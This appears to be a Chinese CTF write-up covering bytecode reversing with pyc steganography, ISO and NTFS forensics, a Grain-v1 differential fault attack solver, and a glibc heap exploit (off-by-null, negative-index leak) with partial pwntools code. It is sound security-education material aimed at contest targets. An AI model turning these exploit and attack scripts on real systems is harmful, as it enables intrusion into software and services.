>>> dis.dis(code_obj)4 0 LOAD_CONST 0 (0)2 LOAD_CONST 1 (None)4 IMPORT_NAME 0 (sys)6 STORE_NAME 0 (sys)6 8 LOAD_CONST 0 (0)10 LOAD_CONST 2 (('sha256',))12 IMPORT_NAME 1 (hashlib)14 IMPORT_FROM 2 (sha256)16 STORE_NAME 2 (sha256)18 POP_TOP16 20 LOAD_CONST 3 (<code object KSA at 0x7f1199dc7890, file "main.py", line 6>)22 LOAD_CONST 4 ('KSA')24 MAKE_FUNCTION 026 STORE_NAME 3 (KSA)26 28 LOAD_CONST 5 (<code object PRGA at 0x7f1199dc7940, file "main.py", line 16>)30 LOAD_CONST 6 ('PRGA')32 MAKE_FUNCTION 034 STORE_NAME 4 (PRGA)30 36 LOAD_CONST 7 (<code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>)38 LOAD_CONST 8 ('RC4')40 MAKE_FUNCTION 042 STORE_NAME 5 (RC4)33 44 LOAD_CONST 9 (<code object xor at 0x7f1199dd4500, file "main.py", line 30>)46 LOAD_CONST 10 ('xor')48 MAKE_FUNCTION 050 STORE_NAME 6 (xor)34 52 LOAD_NAME 7 (__name__)54 LOAD_CONST 11 ('__main__')56 COMPARE_OP 2 (==)58 POP_JUMP_IF_FALSE 139 (to 278)35 60 LOAD_CONST 12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f')62 STORE_NAME 8 (w)38 64 LOAD_CONST 13 (b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~')66 STORE_NAME 9 (e)39 68 LOAD_CONST 14 (b'geo')70 STORE_NAME 10 (b)41 72 LOAD_CONST 15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141')74 STORE_NAME 11 (s)42 76 LOAD_CONST 16 (b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1")78 STORE_NAME 12 (t)43 80 LOAD_CONST 17 (115)82 LOAD_CONST 18 (97)84 LOAD_CONST 19 (117)86 LOAD_CONST 20 (114)88 LOAD_CONST 21 ((2, 8, 11, 10))90 BUILD_CONST_KEY_MAP 492 STORE_NAME 13 (m)44 94 LOAD_CONST 22 (119)96 LOAD_CONST 23 (116)98 LOAD_CONST 24 (124)100 LOAD_CONST 25 (127)102 LOAD_CONST 26 ((3, 7, 9, 12))104 BUILD_CONST_KEY_MAP 4106 STORE_NAME 14 (n)45 108 LOAD_NAME 13 (m)110 LOAD_CONST 27 (<code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>)112 LOAD_CONST 28 ('<dictcomp>')114 MAKE_FUNCTION 0116 LOAD_NAME 14 (n)118 GET_ITER120 CALL_FUNCTION 1122 INPLACE_OR124 STORE_NAME 13 (m)47 126 LOAD_NAME 13 (m)128 LOAD_CONST 29 (<code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>)130 LOAD_CONST 30 ('<genexpr>')132 MAKE_FUNCTION 0134 LOAD_NAME 10 (b)136 GET_ITER138 CALL_FUNCTION 1140 INPLACE_OR142 STORE_NAME 13 (m)48 144 LOAD_NAME 5 (RC4)146 LOAD_NAME 15 (list)148 LOAD_NAME 16 (map)150 LOAD_CONST 31 (<code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>)152 LOAD_CONST 32 ('<lambda>')154 MAKE_FUNCTION 0156 LOAD_NAME 17 (sorted)158 LOAD_NAME 13 (m)160 LOAD_METHOD 18 (items)162 CALL_METHOD 0164 CALL_FUNCTION 1166 CALL_FUNCTION 2168 CALL_FUNCTION 1170 CALL_FUNCTION 1172 STORE_NAME 19 (stream)49 174 LOAD_NAME 20 (print)176 LOAD_NAME 6 (xor)178 LOAD_NAME 8 (w)180 LOAD_NAME 19 (stream)182 CALL_FUNCTION 2184 LOAD_METHOD 21 (decode)186 CALL_METHOD 0188 CALL_FUNCTION 1190 POP_TOP50 192 LOAD_NAME 0 (sys)194 LOAD_ATTR 22 (stdin)196 LOAD_ATTR 23 (buffer)198 LOAD_METHOD 24 (read)200 CALL_METHOD 0202 STORE_NAME 25 (p)52 204 LOAD_NAME 6 (xor)206 LOAD_NAME 9 (e)208 LOAD_NAME 19 (stream)210 CALL_FUNCTION 2212 STORE_NAME 9 (e)53 214 LOAD_NAME 6 (xor)216 LOAD_NAME 25 (p)218 LOAD_NAME 19 (stream)220 CALL_FUNCTION 2222 STORE_NAME 26 (c)54 224 LOAD_NAME 2 (sha256)226 LOAD_NAME 26 (c)228 CALL_FUNCTION 1230 LOAD_METHOD 27 (digest)232 CALL_METHOD 0234 LOAD_NAME 11 (s)236 COMPARE_OP 2 (==)238 POP_JUMP_IF_FALSE 131 (to 262)56 240 LOAD_NAME 20 (print)242 LOAD_NAME 6 (xor)244 LOAD_NAME 12 (t)246 LOAD_NAME 19 (stream)248 CALL_FUNCTION 2250 LOAD_METHOD 21 (decode)252 CALL_METHOD 0254 CALL_FUNCTION 1256 POP_TOP258 LOAD_CONST 1 (None)260 RETURN_VALUE33 >> 262 LOAD_NAME 20 (print)264 LOAD_NAME 9 (e)266 LOAD_METHOD 21 (decode)268 CALL_METHOD 0270 CALL_FUNCTION 1272 POP_TOP274 LOAD_CONST 1 (None)276 RETURN_VALUE>> 278 LOAD_CONST 1 (None)280 RETURN_VALUEDisassembly of <code object KSA at 0x7f1199dc7890, file "main.py", line 6>:8 0 LOAD_GLOBAL 0 (len)2 LOAD_FAST 0 (key)4 CALL_FUNCTION 16 STORE_FAST 1 (keylength)9 8 LOAD_GLOBAL 1 (list)10 LOAD_GLOBAL 2 (range)12 LOAD_CONST 1 (256)14 CALL_FUNCTION 116 CALL_FUNCTION 118 STORE_FAST 2 (S)10 20 LOAD_CONST 2 (0)22 STORE_FAST 3 (j)11 24 LOAD_GLOBAL 2 (range)26 LOAD_CONST 1 (256)28 CALL_FUNCTION 130 GET_ITER>> 32 FOR_ITER 29 (to 92)34 STORE_FAST 4 (i)12 36 LOAD_FAST 3 (j)38 LOAD_FAST 2 (S)40 LOAD_FAST 4 (i)42 BINARY_SUBSCR44 BINARY_ADD46 LOAD_FAST 0 (key)48 LOAD_FAST 4 (i)50 LOAD_FAST 1 (keylength)52 BINARY_MODULO54 BINARY_SUBSCR56 BINARY_ADD58 LOAD_CONST 1 (256)60 BINARY_MODULO62 STORE_FAST 3 (j)13 64 LOAD_FAST 2 (S)66 LOAD_FAST 3 (j)68 BINARY_SUBSCR70 LOAD_FAST 2 (S)72 LOAD_FAST 4 (i)74 BINARY_SUBSCR76 ROT_TWO78 LOAD_FAST 2 (S)80 LOAD_FAST 4 (i)82 STORE_SUBSCR84 LOAD_FAST 2 (S)86 LOAD_FAST 3 (j)88 STORE_SUBSCR90 JUMP_ABSOLUTE 16 (to 32)>> 92 LOAD_FAST 2 (S)94 RETURN_VALUEDisassembly of <code object PRGA at 0x7f1199dc7940, file "main.py", line 16>:17 0 GEN_START 018 2 LOAD_CONST 1 (0)4 STORE_FAST 1 (i)19 6 LOAD_CONST 1 (0)8 STORE_FAST 2 (j)20 10 NOP21 >> 12 LOAD_FAST 1 (i)14 LOAD_CONST 3 (1)16 BINARY_ADD18 LOAD_CONST 4 (256)20 BINARY_MODULO22 STORE_FAST 1 (i)22 24 LOAD_FAST 2 (j)26 LOAD_FAST 0 (S)28 LOAD_FAST 1 (i)30 BINARY_SUBSCR32 BINARY_ADD34 LOAD_CONST 4 (256)36 BINARY_MODULO38 STORE_FAST 2 (j)23 40 LOAD_FAST 0 (S)42 LOAD_FAST 2 (j)44 BINARY_SUBSCR46 LOAD_FAST 0 (S)48 LOAD_FAST 1 (i)50 BINARY_SUBSCR52 ROT_TWO54 LOAD_FAST 0 (S)56 LOAD_FAST 1 (i)58 STORE_SUBSCR60 LOAD_FAST 0 (S)62 LOAD_FAST 2 (j)64 STORE_SUBSCR24 66 LOAD_FAST 0 (S)68 LOAD_FAST 0 (S)70 LOAD_FAST 1 (i)72 BINARY_SUBSCR74 LOAD_FAST 0 (S)76 LOAD_FAST 2 (j)78 BINARY_SUBSCR80 BINARY_ADD82 LOAD_CONST 4 (256)84 BINARY_MODULO86 BINARY_SUBSCR88 STORE_FAST 3 (K)19 90 LOAD_FAST 3 (K)92 YIELD_VALUE94 POP_TOP96 JUMP_ABSOLUTE 6 (to 12)Disassembly of <code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>:28 0 LOAD_GLOBAL 0 (KSA)2 LOAD_FAST 0 (key)4 CALL_FUNCTION 16 STORE_FAST 1 (S)8 LOAD_GLOBAL 1 (PRGA)10 LOAD_FAST 1 (S)12 CALL_FUNCTION 114 RETURN_VALUEDisassembly of <code object xor at 0x7f1199dd4500, file "main.py", line 30>:31 0 LOAD_GLOBAL 0 (bytes)2 LOAD_GLOBAL 1 (map)4 LOAD_CLOSURE 0 (stream)6 BUILD_TUPLE 18 LOAD_CONST 1 (<code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>)10 LOAD_CONST 2 ('xor.<locals>.<lambda>')12 MAKE_FUNCTION 8 (closure)14 LOAD_FAST 0 (p)16 CALL_FUNCTION 218 CALL_FUNCTION 120 RETURN_VALUEDisassembly of <code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>:0 LOAD_FAST 0 (x)2 LOAD_DEREF 0 (stream)4 LOAD_METHOD 0 (__next__)6 CALL_METHOD 08 BINARY_XOR10 RETURN_VALUEDisassembly of <code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>:0 BUILD_MAP 02 LOAD_FAST 0 (.0)>> 4 FOR_ITER 9 (to 24)6 STORE_FAST 1 (x)8 LOAD_FAST 1 (x)10 LOAD_FAST 1 (x)12 LOAD_GLOBAL 0 (n)14 LOAD_FAST 1 (x)16 BINARY_SUBSCR18 BINARY_XOR20 MAP_ADD 222 JUMP_ABSOLUTE 2 (to 4)>> 24 RETURN_VALUEDisassembly of <code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>:0 GEN_START 02 LOAD_FAST 0 (.0)>> 4 FOR_ITER 9 (to 24)6 STORE_FAST 1 (i)8 LOAD_FAST 1 (i)10 LOAD_METHOD 0 (bit_count)12 CALL_METHOD 014 LOAD_FAST 1 (i)16 BUILD_TUPLE 218 YIELD_VALUE20 POP_TOP22 JUMP_ABSOLUTE 2 (to 4)>> 24 LOAD_CONST 0 (None)26 RETURN_VALUEDisassembly of <code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>:0 LOAD_FAST 0 (x)2 LOAD_CONST 1 (1)4 BINARY_SUBSCR6 RETURN_VALUE
人工手动逆向得到对应 python 代码大概如下
(有些地方没有完全按照字节码来写
import sys
from hashlib import sha256w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f' e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo's = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}def KSA(key):keylength = len(key)S = list(range(256))j = 0for i in range(256):j = (j + S[i] + key[i % keylength]) % 256S[i], S[j] = S[j], S[i]return Sdef PRGA(S):i = 0j = 0while True:i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]K = S[(S[i] + S[j]) % 256]yield Kdef RC4(key):S = KSA(key)return PRGA(S)def xor(p,stream):return bytes(map(lambda x:x ^ stream.__next__(), p))# n = {2:115, 8:97, 11:117, 10:114}
# x:x^n[x] -> <dictcomp>
m |= {x: x^n[x] for x in n}
m |= ((i.bit_count(), i) for i in b)
stream = RC4(list(map(lambda m:m[1], sorted(m.items()))))
# print welcome banner...
# print(stream)print(xor(w, stream).decode())
p = sys.stdin.buffer.readline()
e = xor(e, stream)
# print(e)
c = xor(p, stream)if sha256(c).digest() != s: # errorprint(e.decode())exit()print(xor(t, stream)) # true?
大约可以直到,这个地方通过爆破输入字符的长度,得到t的真实数据
可以发现,输入长度为 26 的时候,会提示说 Congratulations! Now you should now what the flag is,这个就是 t 的解密结果。而其他情况都不能正确解码。
于是就去找哪里还有这个输入。
然后发现用 pyc 隐写了一部分内容,使用脚本 stegosaurus 导出 pyc 隐写。
一文让你完全弄懂Stegosaurus
https://github.com/AngelKitty/stegosaurus
需要魔改一下 header,python 3.10 长度是16.
另外输出的话不用转 str,直接 bytes 就好了。
或者脚本
result=""with open("py.txt","r") as f: for line in f.readlines(): if line: result+=line.strip()print(result)
可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flag
w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f'e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~'b = b'geo's = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141't = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1"m = {2:115, 8:97, 11:117, 10:114}n = {3:119, 7:116, 9:124, 12:127}def KSA(key): key_length = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % key_length]) % 256 S[i], S[j] = S[j], S[i] return Sdef PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K
def RC4(key): S = KSA(key) return PRGA(S)
def xor(p,stream): return bytes(map(lambda x:x ^ stream.__next__(), p))m.update({x:x^n[x] for x in n})mm = {5:103,4:101,6:111}m.update(mm)stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))banner = xor(w, stream).decode()wrong = xor(e, stream).decode()pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'result = xor(pp, stream)print(xor(t, stream))print(result)
得到长度为 26 的 bytes
b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
最后将这个作为输入,然后让上述代码的 c 打印出来,即为 flag
flag{P0w5rFu1_0pEn_50urcE}
5.ISO1995
We follow ISO1995. ISO1995 has many problems though. One known problem is a time.
附件下载 提取码(GAME)备用下载
压缩包解压密码:fantasicqwb2021
下载下来以 iso9660 挂载
mount -t iso9660 iso1995 /mnt/随便一个目录
发现有一堆名为 flag_fxxxxx (xxxx为数字)的文件。
用 ultraISO 把文件导出来,发现每个文件只有一个字符。
另外根据题目提示,查看 hex 发现他每个文件名之前的 FFFFFFFF 之后跟着的 2bytes 都不同,怀疑是个序号或者时间之类的。
于是写个脚本提取,转成十进制作为文件名并按照这个顺序把文件内容读取出来。
import rewith open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin:s = fin.read()s = s.strip().replace(' ', '').replace('\n', '')
print(s)# FFFFFFFF027D08020000010000011A0066006C00610067005F006600300031003000310031003B0031003C0041040000000004410100000000000001
# FFFFFFFF001E08020000010000011A0066006C00610067005F006600300031003000300038003B0031003C003E0400000000043E0100000000000001
# FFFFFFFF011208020000010000011A0066006C00610067005F006600300030003900340032003B0031003C00FC030000000003FC0100000000000001re_num = re.compile(r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})')l = re_num.findall(s)len(l)
# 1024filename_list = []
for i in l:name = int(i[0], 16)# print(name)filename_list.append(name)decode_str2 = ''
for i in filename_list:filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}'with open(filename, 'r', encoding='utf-8') as f:x = f.read()print(x)decode_str2 += x
print(decode_str2)# !Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,CO@V.s-%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
# FLAG{Dir3ct0ry_jYa_n41}
FLAG{Dir3ct0ry_jYa_n41}
或者
import re
import struct
with open("iso1995", "rb") as f:
data = f.read()
pos_val = {}
res = []
for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)):
index = x.start()-12
index = struct.unpack(">H", data[index:index+2])[0]
index_data = 0x26800 + (index * 0x800)
pos_val[index] = data[index_data:index_data+1].decode("utf-8")
for k, v in pos_val.items():
res.append(v)
print("".join(res))
赛后发现这个又是原题。。
2020 BingoCTF – ISO Solution.md
6.EzTime
Forensic.Find a file that a time attribute has been modified by a program. (本题flag为非正式形式)
附件下载 提取码(GAME)备用下载
压缩包解压密码:fantasicqwb2021
解压得到 $LogFile、$MFT (Master File Table)
File – $LogFile (2)
NTFS Timestamp changes on Windows 10
Do you MFT? Here’s an MFT Overview.
https://github.com/dkovar/analyzeMFT
https://github.com/jschicht/LogFileParser
最后又找到了个 NTFS Log Tracker 工具
导入之后可以看到相关信息
找了老半天时间参数被修改的文件,最后发现是这个(
可以把时间导出来发现秒以下都是 000000…
或者
使用X-Ways-Forensics打开$MFT,专业工具->将镜像文件转为磁盘
调整记录更新时间排序即可发现,最新的被修改过的文件
提交的 flag 就是
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png
7.问卷题
flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}
CRYPTO
1.guess_game
题目用的是Grain_v1,根据题意,需要猜32次guess
32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack)
这里从paper
Grain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊)
于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项
随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。
于是自0-160,遍历guess将所有可能的固定项确定下来。
1的固定项用2**16-1去与
0的固定相用0去或
然后组合,而不固定项记为2
得到一个集合table3.data
import randomimport stringimport hashlibimport sysfrom collections import deque#from secret import plist, bannerplist = [i for i in range(150)]import sysassert max(plist) < 160
class generator: def __init__(self, key: list, iv: list, hint: bool, k=0, m=0): self.NFSR = deque() self.LFSR = deque()
for i in range(80): self.NFSR.append(key[i])
for i in range(64): self.LFSR.append(iv[i])
for i in range(64, 80): self.LFSR.append(1)
self.clock()
if hint: s = self.NFSR + self.LFSR for i in range(k, k + m): s[i] ^= 1 self.NFSR = deque(list(s)[:80]) self.LFSR = deque(list(s)[80:])
def clock(self): for i in range(160): zi = self.PRGA() self.NFSR[79] ^= zi self.LFSR[79] ^= zi
def PRGA(self): x0 = self.LFSR[3] x1 = self.LFSR[25] x2 = self.LFSR[46] x3 = self.LFSR[64] x4 = self.NFSR[63]
hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)
zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx
fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]
gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37] ^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0] ^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9]) ^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) ^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ ( self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ ( self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ ( self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
self.LFSR.popleft() self.LFSR.append(fx) self.NFSR.popleft() self.NFSR.append(gx)
return zi
def proof_of_work(): s = "".join(random.choices(string.ascii_letters + string.digits, k=20)) prefix = s[:4] print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}") print("give me xxxx:") ans = input().strip() if len(ans) == 4 and ans == prefix: return True else: return False
#if not proof_of_work(): #sys.exit(0)
#with open("/root/task/flag.txt", "r")as f: #flag = f.read()
#print(banner + "n")print("Welcome to my number guessing game. If you win the game, I'll give you the flagn")
count = 0glist = random.choices(plist, k=32)table1 = set()table2 = set()table3 = {}#glist[round]for guess in range(160): z1 = 2**160-1 z2 = 0 for round in range(160): k = guess // 2 m = guess % 10 if m == 0: m = 10 #print("k,m",k,m) key = bin(random.getrandbits(80))[2:].zfill(80) key = list(map(int, key)) iv = bin(random.getrandbits(64))[2:].zfill(64) iv = list(map(int, iv))
a = generator(key, iv, False) #
k1 = [] for i in range(160): k1.append(a.PRGA()) k1 = int("".join(list(map(str, k1))), 2)
b = generator(key, iv, True, k, m) #
k2 = [] for i in range(160): k2.append(b.PRGA()) k2 = int("".join(list(map(str, k2))), 2) #print(f"round {round+1}") #print("Here are some tips might help your:") #print(bin(k1)[2:].rjust(160,"0")) #print(bin(k2)[2:].rjust(160,"0")) #print(bin(k1^k2)[2:].rjust(160,"0")) z1 &= k1^k2 z2 |= k1^k2 table1.add(str(z1)) table2.add(str(z2)) tmp1 = bin(z1)[2:].rjust(160,"0") tmp2 = bin(z2)[2:].rjust(160,"0") tmp3 ="" for i in range(len(tmp1)): flag=0 if tmp1[i]=='1': tmp3+='1' flag=1 if tmp2[i]=='0': tmp3+='0' flag=1 if tmp1[i]=='1' and tmp2[i]=='0': print("sth. strange") if flag==0: tmp3+='2' table3[guess] = tmp3 print(tmp3)
import picklewith open("table3.data","wb") as f: pickle.dump(table3,f)
随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。
from pwn import *
import pickle
sh=remote("39.105.139.103","10002")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
context.log_level = 'debug'
def proof_of_work(sh):
sh.recvuntil("xxxx + ")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
log.success(cipher)
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
log.success(proof)
sh.sendlineafter("give me xxxx:", proof)
with open("table3.data","rb") as f:
table = pickle.load(f)
#print(len(table))
proof_of_work(sh)
#sh.interactive()
def find(sig):
sig = (bin(sig)[2:].rjust(160,"0"))
for index,each in table.items():
#print(each) #print(sig) for i in range(len(each)):
if each[i] == '2':
continue
elif each[i] != sig[i]:
break
else:
sh.sendline(str(index)) break else: print("no")
for i in range(32): sh.recvuntil("Here are some tips might help your:n") z1 = int(sh.recvuntil("n")[:-1]) z2 = int(sh.recvuntil("n")[:-1])
sh.recvuntil(">")
#print
#print("z1,",z1) #print("z2,",z2) find(z1^z2)sh.interactive()
最后
[*] Switching to interactivemode
[DEBUG] Received 0x37 bytes:
b'you are smart!n'
b'n'
b'flag{48ef413f0073134548e81124bdafed72}n'
you are smart!
PWN
1.baby_diary
参考 https://bbs.pediy.com/thread-257901.htm 实现堆块复用,后面就是常规题目
保护
熟悉得菜单
write
这里有个稍稍复杂的机制。
在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。
后面函数是干嘛的。
会控制后面哪一个字节。
具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。
所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.
read
正常的输出
输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。
delete
看得到清理得还是很干净的。
我们的思路是这样的。
off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar
关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。
但是出问题了,报错。
看了一下源码,
2.29之后通过这个检查把这种house of ein就没了。
所以我们只能考虑unlink。
unlink需要泄露地址,泄露一个heap地址,或者程序基地址。
没想出来。
参考了NU1L的wp,大佬还是大佬。
问题出在show,show越界了。
它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。
我们试图从address_array向上寻找。
便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。
gdb调试往上调,我们发现了一个这样的地方。
1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。
我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。
首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。
我们发现
size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。
所以我们要首先申请够23个chunk。
申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。
剩下的爆破就行
到此呢我们做到了一个什么事情,我们可以得到程序的pie。
贴一下爆破的部分算了,剩下的就自己随便写了
from pwn import *
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> ", "1")
r.sendlineafter("size: ", str(size))
r.sendafter("content: ", content)
def show(index):
r.sendlineafter(">> ", "2")
r.sendlineafter("index: ", str(index))
def dele(index):
r.sendlineafter(">> ", "3")
r.sendlineafter("index: ", str(index))
while True:
try:
r = process('./baby_diary')
for i in range(22):
add(0x1000,'\xff'*0x1000)
add(0x7000000,'aaaa\n')
show(-11)
r.recvuntil('\x08')
break
except EOFError:
r.close()
continue
leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008
gdb.attach(r)
input()
然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。
它来自一篇博客。
2.29 off by null
它也是在伪造chunk,但是做法更复杂也更高级。
